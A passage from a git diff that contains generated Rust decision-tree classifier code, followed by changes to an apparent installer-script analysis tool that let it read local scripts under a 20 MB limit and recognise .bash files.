} else { + var116 = vec![0.75_f64, 0.25_f64]; + } + } else { + var116 = vec![1.0_f64, 0.0_f64]; + } + } else { + var116 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + var116 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[11] <= 3.1345449686050415_f64 { + var116 = vec![0.0_f64, 1.0_f64]; + } else { + if input[17] <= 0.115471001714468_f64 { + if input[21] <= 0.34657350182533264_f64 { + var116 = vec![0.0_f64, 1.0_f64]; + } else { + if input[20] <= 0.5515429973602295_f64 { + var116 = vec![0.0_f64, 1.0_f64]; + } else { + var116 = vec![0.8_f64, 0.2_f64]; + } + } + } else { + if input[16] <= 0.07901434972882271_f64 { + if input[16] <= 0.0027259800117462873_f64 { + if input[19] <= 0.07652610167860985_f64 { + var116 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var116 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[47] <= 0.34657350182533264_f64 { + if input[16] <= 0.04473559930920601_f64 { + var116 = vec![0.0_f64, 1.0_f64]; + } else { + var116 = vec![0.75_f64, 0.25_f64]; + } + } else { + var116 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[10] <= 8.280654907226562_f64 { + if input[20] <= 0.2499999925494194_f64 { + var116 = vec![1.0_f64, 0.0_f64]; + } else { + var116 = vec![0.5_f64, 0.5_f64]; + } + } else { + var116 = vec![1.0_f64, 0.0_f64]; + } + } + } + } + } + } else { + if input[15] <= 5.262465000152588_f64 { + if input[16] <= 0.044864701107144356_f64 { + var116 = vec![0.0_f64, 1.0_f64]; + } else { + if input[12] <= 29.569499969482422_f64 { + var116 = vec![0.5_f64, 0.5_f64]; + } else { + var116 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + if input[12] <= 62.792898178100586_f64 { + var116 = vec![0.0_f64, 1.0_f64]; + } else { + if input[3] <= 0.5_f64 { + var116 = vec![0.25_f64, 0.75_f64]; + } else { + var116 = vec![0.0_f64, 1.0_f64]; + } + } + } + } + let var117: Vec; + if input[23] <= 0.34657350182533264_f64 { + if input[8] <= 0.5_f64 { + if input[1] <= 0.5_f64 { + if input[7] <= 0.5_f64 { + if input[11] <= 2.138330101966858_f64 { + var117 = vec![0.8461538461538461_f64, 0.15384615384615385_f64]; + } else { + if input[36] <= 0.34657350182533264_f64 { + if input[21] <= 0.34657350182533264_f64 { + var117 = vec![1.0_f64, 0.0_f64]; + } else { + if input[12] <= 27.99209976196289_f64 { + if input[11] <= 5.559615135192871_f64 { + var117 = vec![0.75_f64, 0.25_f64]; + } else { + var117 = vec![1.0_f64, 0.0_f64]; + } + } else { + var117 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + if input[34] <= 0.5_f64 { + var117 = vec![1.0_f64, 0.0_f64]; + } else { + var117 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + var117 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[13] <= 4.516324996948242_f64 { + if input[12] <= 32.79699897766113_f64 { + var117 = vec![0.0_f64, 1.0_f64]; + } else { + if input[13] <= 4.363080024719238_f64 { + var117 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var117 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[36] <= 0.34657350182533264_f64 { + if input[3] <= 0.5_f64 { + if input[25] <= 0.34657350182533264_f64 { + var117 = vec![0.0_f64, 1.0_f64]; + } else { + if input[41] <= 0.34657350182533264_f64 { + if input[17] <= 0.09198779985308647_f64 { + var117 = vec![0.42857142857142855_f64, 0.5714285714285714_f64]; + } else { + var117 = vec![1.0_f64, 0.0_f64]; + } + } else { + var117 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[11] <= 6.7669501304626465_f64 { + var117 = vec![0.0_f64, 1.0_f64]; + } else { + var117 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + var117 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + if input[11] <= 8.232525110244751_f64 { + var117 = vec![0.0_f64, 1.0_f64]; + } else { + if input[27] <= 5.5086798667907715_f64 { + var117 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } else { + var117 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + if input[5] <= 0.5_f64 { + var117 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + if input[25] <= 1.2424499988555908_f64 { + var117 = vec![0.0_f64, 1.0_f64]; + } else { + if input[12] <= 28.56410026550293_f64 { + if input[24] <= 0.8958785235881805_f64 { + var117 = vec![0.0_f64, 1.0_f64]; + } else { + var117 = vec![0.5_f64, 0.5_f64]; + } + } else { + var117 = vec![0.0_f64, 1.0_f64]; + } + } + } + } + let var118: Vec; + if input[23] <= 0.34657350182533264_f64 { + if input[47] <= 0.34657350182533264_f64 { + if input[14] <= 0.054325900971889496_f64 { + if input[2] <= 0.5_f64 { + if input[8] <= 0.5_f64 { + if input[3] <= 0.5_f64 { + if input[34] <= 0.5_f64 { + if input[41] <= 0.34657350182533264_f64 { + if input[11] <= 3.0677798986434937_f64 { + var118 = vec![0.9733333333333334_f64, 0.02666666666666667_f64]; + } else { + var118 = vec![1.0_f64, 0.0_f64]; + } + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[11] <= 5.801889896392822_f64 { + var118 = vec![0.0_f64, 1.0_f64]; + } else { + var118 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + if input[13] <= 4.871304988861084_f64 { + if input[51] <= 0.34657350182533264_f64 { + var118 = vec![0.0_f64, 1.0_f64]; + } else { + if input[20] <= 0.5708265155553818_f64 { + var118 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[48] <= 0.5493050217628479_f64 { + if input[18] <= 0.0001972960017155856_f64 { + if input[0] <= 0.5_f64 { + var118 = vec![1.0_f64, 0.0_f64]; + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } else { + var118 = vec![1.0_f64, 0.0_f64]; + } + } else { + if input[16] <= 0.04456610046327114_f64 { + var118 = vec![0.0_f64, 1.0_f64]; + } else { + var118 = vec![0.2_f64, 0.8_f64]; + } + } + } + } + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[10] <= 10.19289493560791_f64 { + var118 = vec![0.0_f64, 1.0_f64]; + } else { + var118 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } + } + } else { + if input[25] <= 0.8958785235881805_f64 { + if input[45] <= 0.34657350182533264_f64 { + if input[2] <= 0.5_f64 { + if input[22] <= 0.34657350182533264_f64 { + var118 = vec![0.0_f64, 1.0_f64]; + } else { + var118 = vec![0.5_f64, 0.5_f64]; + } + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[1] <= 0.5_f64 { + var118 = vec![1.0_f64, 0.0_f64]; + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } + } + let var119: Vec; + if input[15] <= 5.44608998298645_f64 { + if input[5] <= 0.5_f64 { + if input[48] <= 0.34657350182533264_f64 { + if input[35] <= 0.34657350182533264_f64 { + if input[1] <= 0.5_f64 { + if input[47] <= 0.5493050217628479_f64 { + if input[15] <= 4.554874897003174_f64 { + if input[10] <= 7.722984790802002_f64 { + if input[13] <= 4.454080104827881_f64 { + var119 = vec![1.0_f64, 0.0_f64]; + } else { + var119 = vec![0.42857142857142855_f64, 0.5714285714285714_f64]; + } + } else { + var119 = vec![1.0_f64, 0.0_f64]; + } + } else { + var119 = vec![1.0_f64, 0.0_f64]; + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[52] <= 0.5_f64 { + if input[17] <= 0.0745406486093998_f64 { + var119 = vec![0.0_f64, 1.0_f64]; + } else { + if input[17] <= 0.18849550187587738_f64 { + var119 = vec![0.5_f64, 0.5_f64]; + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[40] <= 0.34657350182533264_f64 { + if input[13] <= 4.493849992752075_f64 { + if input[16] <= 0.05783329904079437_f64 { + var119 = vec![0.0_f64, 1.0_f64]; + } else { + var119 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } + } else { + if input[44] <= 0.34657350182533264_f64 { + var119 = vec![1.0_f64, 0.0_f64]; + } else { + var119 = vec![0.7777777777777778_f64, 0.2222222222222222_f64]; + } + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[11] <= 6.094465017318726_f64 { + var119 = vec![0.0_f64, 1.0_f64]; + } else { + var119 = vec![0.75_f64, 0.25_f64]; + } + } + } else { + if input[27] <= 4.521550178527832_f64 { + if input[0] <= 0.5_f64 { + if input[23] <= 0.34657350182533264_f64 { + if input[1] <= 0.5_f64 { + var119 = vec![1.0_f64, 0.0_f64]; + } else { + if input[9] <= 0.5_f64 { + var119 = vec![0.0_f64, 1.0_f64]; + } else { + var119 = vec![0.5_f64, 0.5_f64]; + } + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[16] <= 0.051645100116729736_f64 { + if input[3] <= 0.5_f64 { + var119 = vec![0.0_f64, 1.0_f64]; + } else { + var119 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } + } else { + if input[3] <= 0.5_f64 { + var119 = vec![1.0_f64, 0.0_f64]; + } else { + var119 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } + } + } + } + } else { + if input[2] <= 0.5_f64 { + if input[30] <= 0.34657350182533264_f64 { + if input[26] <= 1.5890249609947205_f64 { + if input[19] <= 0.08197025209665298_f64 { + if input[19] <= 0.07439609989523888_f64 { + if input[28] <= 1.1512934863567352_f64 { + if input[17] <= 0.03645835071802139_f64 { + var119 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } else { + var119 = vec![0.5_f64, 0.5_f64]; + } + } else { + var119 = vec![1.0_f64, 0.0_f64]; + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } else { + var119 = vec![1.0_f64, 0.0_f64]; + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } + mul_vector_number(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(var0, var1), var2), var3), var4), var5), var6), var7), var8), var9), var10), var11), var12), var13), var14), var15), var16), var17), var18), var19), var20), var21), var22), var23), var24), var25), var26), var27), var28), var29), var30), var31), var32), var33), var34), var35), var36), var37), var38), var39), var40), var41), var42), var43), var44), var45), var46), var47), var48), var49), var50), var51), var52), var53), var54), var55), var56), var57), var58), var59), var60), var61), var62), var63), var64), var65), var66), var67), var68), var69), var70), var71), var72), var73), var74), var75), var76), var77), var78), var79), var80), var81), var82), var83), var84), var85), var86), var87), var88), var89), var90), var91), var92), var93), var94), var95), var96), var97), var98), var99), var100), var101), var102), var103), var104), var105), var106), var107), var108), var109), var110), var111), var112), var113), var114), var115), var116), var117), var118), var119), 0.008333333333333333_f64) + } + fn add_vectors(v1: Vec, v2: Vec) -> Vec { + v1.iter().zip(v2.iter()).map(|(&x, &y)| x + y).collect::>() + } + fn mul_vector_number(v1: Vec, num: f64) -> Vec { + v1.iter().map(|&i| i * num).collect::>() + } +} diff --git a/src/source.rs b/src/source.rs index 1894dd7..25890cd 100644 --- a/src/source.rs +++ b/src/source.rs @@ -23,7 +23,13 @@ pub struct Artifact { pub url: Url, } +const MAX_BYTES: usize = 20_000_000; + pub async fn acquire(input: &str) -> Result { + let path = std::path::Path::new(input.trim()); + if path.is_file() { + return read_local(path); + } let url = extract_url(input)?; let mut response = reqwest::get(url.clone()) .await @@ -33,7 +39,7 @@ pub async fn acquire(input: &str) -> Result { } if response .content_length() - .is_some_and(|size| size > 20_000_000) + .is_some_and(|size| size > MAX_BYTES as u64) { bail!("installer exceeds the 20 MB analysis limit"); } @@ -46,7 +52,7 @@ pub async fn acquire(input: &str) -> Result { .to_owned(); let mut bytes = Vec::new(); while let Some(chunk) = response.chunk().await? { - if bytes.len() + chunk.len() > 20_000_000 { + if bytes.len() + chunk.len() > MAX_BYTES { bail!("installer exceeds the 20 MB analysis limit"); } bytes.extend_from_slice(&chunk); @@ -61,6 +67,26 @@ pub async fn acquire(input: &str) -> Result { }) } +/// Loads a local script for offline inspection; it is analyzed exactly like a download. +pub fn read_local(path: &std::path::Path) -> Result { + let path = path + .canonicalize() + .with_context(|| format!("failed to resolve {}", path.display()))?; + if std::fs::metadata(&path)?.len() > MAX_BYTES as u64 { + bail!("installer exceeds the 20 MB analysis limit"); + } + let bytes = std::fs::read(&path).with_context(|| format!("failed to read {}", path.display()))?; + if bytes.is_empty() { + bail!("installer file is empty"); + } + let url = Url::from_file_path(&path).map_err(|()| anyhow::anyhow!("invalid file path {}", path.display()))?; + Ok(Artifact { + kind: detect_kind(&url, "", &bytes), + bytes, + url, + }) +} + fn extract_url(input: &str) -> Result { if let Ok(url) = Url::parse(input) { return validate_url(url); @@ -88,6 +114,7 @@ fn detect_kind(url: &Url, content_type: &str, bytes: &[u8]) -> InstallerKind { } else if path.ends_with(".py") { InstallerKind::Python } else if path.ends_with(".sh") + || path.ends_with(".bash") || first_line.starts_with("#!") && (first_line.contains("bash") || first_line.contains("/sh")) { @@ -121,6 +148,15 @@ mod tests { ); } + #[test] + fn reads_local_script() { + let mut file = tempfile::Builder::new().suffix(".ps1").tempfile().unwrap(); + std::io::Write::write_all(&mut file, b"Write-Host hi").unwrap(); + let artifact = read_local(file.path()).unwrap(); + assert_eq!(artifact.url.scheme(), "file"); + assert_eq!(artifact.kind, InstallerKind::PowerShell); + } + #[test] fn detects_powershell_extension() { assert!(matches!(